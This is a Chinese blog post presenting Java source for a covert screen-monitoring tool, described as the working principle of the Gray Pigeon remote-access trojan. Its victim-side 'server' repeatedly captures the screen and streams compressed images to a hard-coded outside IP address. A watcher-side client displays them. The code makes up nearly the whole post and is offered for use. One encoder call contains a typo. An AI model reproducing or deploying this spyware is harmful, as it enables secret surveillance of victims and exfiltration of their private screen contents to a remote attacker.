我喜欢黑夜,喜欢网络安全,孤独寂寞的黑夜里,我只需要,一包烟,一台笔记本...
更多
首  页>>JAVA安全开发>> JAVA安全开发Java实现屏幕监视,Java版灰鸽子原理
Java实现屏幕监视,Java版灰鸽子原理
4228
0推荐
0评论

Java实现屏幕监视,Java实现屏幕监视,Java版灰鸽子原理

主要采用了 TCP协议+压缩流~ 速度还可以!

//以下这个为服务器类 被监视的用户

    import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
 
public class ShellServer extends Thread {
    private Dimension screenSize;
    private Rectangle rectangle;
    private Robot robot;
    private JPEGImageEncoder encoder;
 
    public ShellServer() {
        screenSize = Toolkit.getDefaultToolkit().getScreenSize();
        rectangle = new Rectangle(screenSize);// 可以指定捕获屏幕区域
        try {
            robot = new Robot();
        } catch (Exception e) {
            e.printStackTrace();
            System.out.println(e);
        }
    }
 
    public void run() {
        ZipOutputStream os = null;
        Socket socket = null;
        while (true) {
            try {
                socket = new Socket("220.173.44.158", 5000);// 连接远程IP
                BufferedImage image = robot.createScreenCapture(rectangle);// 捕获制定屏幕矩形区域
                os = new ZipOutputStream(socket.getOutputStream());// 加入压缩流
                // os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));
 
                os.setLevel(9);
                os.putNextEntry(new ZipEntry("1.jpg"));
                JPEGCod.createJPEGEncoder(os).encode(image);// 图像编码成JPEG
                os.close();
                Thread.sleep(50);// 每秒20帧
            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                if (os != null) {
                    try {
                        os.close();
                    } catch (Exception ioe) {
                    }
                }
                if (socket != null) {
                    try {
                        socket.close();
                    } catch (IOException e) {
                    }
                }
            }
        }
    }
 
    public static void main(String[] args) {
        new ShellServer().start();
    }
}

//以下这个为客户端类 监视者

    import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
 
public class ShellClient extends JFrame {
    Dimension screenSize;
 
    public ShellClient() {
        super();
        screenSize = Toolkit.getDefaultToolkit().getScreenSize();
        this.setSize(800, 640);// 设置Frame初始
        Screen p = new Screen();// 屏幕类
        Container c = this.getContentPane();
        c.setLayout(new BorderLayout());// 布局
        c.add(p, "Center");// 添加一个Panel
        new Thread(p).start();// 开启线程
        this.show();// 显示本Frame
    }
 
    public static void main(String[] args) {
        new ShellClient();
    }
 
class Screen extends JPanel implements Runnable {
        private Image cimage;
 
        public void run() {
            ServerSocket ss = null;
            try {
                ss = new ServerSocket(5000);// 探听5000端口的连接
                while (true) {
                    Socket s = null;
                    try {
                        s = ss.accept();// 获取一个SOCKET
                        ZipInputStream zis = new ZipInputStream(
                                s.getInputStream());
                        zis.getNextEntry();// 获得ZIP流的ENTRY
                        cimage = ImageIO.read(zis);// 把ZIP流转换为图片
                        // cimage = ImageIO.read(new
                        // FileInputStream("c:/1.jpg"));
                        repaint();// 重画
                    } catch (Exception e) {
                        e.printStackTrace();
                    } finally {
                        if (s != null) {
                            try {
                                s.close();
                            } catch (IOException e) {
                            }
                        }
                    }
                }
            } catch (Exception e) {
            } finally {
                if (ss != null) {
                    try {
                        ss.close();
                    } catch (IOException e) {
                    }
                }
            }
        }
 
        public Screen() {
            super();
            this.setLayout(null);
        }
 
        public void paint(Graphics g) {
            super.paint(g);
            Graphics2D g2 = (Graphics2D) g;
            g2.drawImage(cimage, 0, 0, null);
        }
    }
}

已经有 ( 0 ) 位网友对此发表了自己的看法,你也评一评吧! 此文不错,我要推荐-->    推 荐
欢迎参与讨论,请在这里发表您的看法、交流您的观点@禁止各种脚本

  • 点击Top
  • 推荐Top
  • 评论Top
更 多>>
本站采用Java语言开发,Spring框架,欢迎朋友们提意见。重新对页面进行布局,修改了程序,方便开源使用,由于本人美工真的不行 ,很少用背景图片,页面基本都用背景色...
主题:无色无味 | 网站地图|
Copyright (c) 2012-2013 www.shack2.org All Rights Reserved. | 空ICP备111111111号 | 程序设计: shack2 Powered by SJBlog v1.0 联系QQ:1341413415